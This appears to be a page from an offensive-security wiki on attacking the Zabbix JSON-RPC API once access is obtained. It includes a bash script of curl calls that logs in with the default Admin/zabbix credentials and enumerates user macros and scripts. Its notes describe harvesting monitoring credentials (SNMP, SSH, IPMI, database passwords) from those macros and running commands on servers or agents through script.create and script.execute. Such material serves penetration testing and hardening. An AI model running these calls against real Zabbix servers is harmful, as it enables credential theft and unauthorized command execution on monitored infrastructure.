API

The Zabbix API is a JSON-RPC 2.0 endpoint at /api_jsonrpc.php that exposes essentially everything the web UI can do, which makes it the attacker's primary interface once access is obtained. Authentication is via user.login (returning a session token used in the auth field of subsequent calls) or, on newer versions, a pre-created API token sent as a bearer credential. With a token, an attacker enumerates and manipulates objects programmatically: user.get, host.get, item.get, script.get, and usermacro.get read the environment and its stored secrets, and host.create/item.create/script.create/script.execute create the objects used for code execution. Scripting the API is faster and quieter than the UI and is how most Zabbix post-authentication attacks are driven.

bash
Z=https://<target>/zabbix/api_jsonrpc.php; H='Content-Type: application/json-rpc'
# login -> token
TOK=$(curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}' | jq -r .result)
# enumerate secrets-bearing objects
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"usermacro.get","params":{"output":"extend"},"auth":"'"$TOK"'","id":1}'   # macros (often creds)
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"'"$TOK"'","id":1}'
# newer: an API token is sent as a bearer header instead of the auth field
curl -sk $Z -H "$H" -H 'Authorization: Bearer <api-token>' -d '{"jsonrpc":"2.0","method":"host.get","params":{},"id":1}'

Exploitation notes#

  • user.login returns a session token equivalent to a logged-in session; it is the credential for all further calls, and a stolen session/token (Session and token theft) substitutes for it.
  • usermacro.get is high-value: user macros ({$...}) frequently store the credentials Zabbix uses to monitor hosts (SNMP strings, SSH/IPMI/DB passwords), so reading them harvests estate credentials.
  • The API is the execution driver too: with sufficient role, script.create + script.execute runs commands on the server/agent, see Global and alert scripts.
  • Rights are role-scoped, so what the API returns depends on the user; enumerate role.get/usergroup.get to understand the identity's reach.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more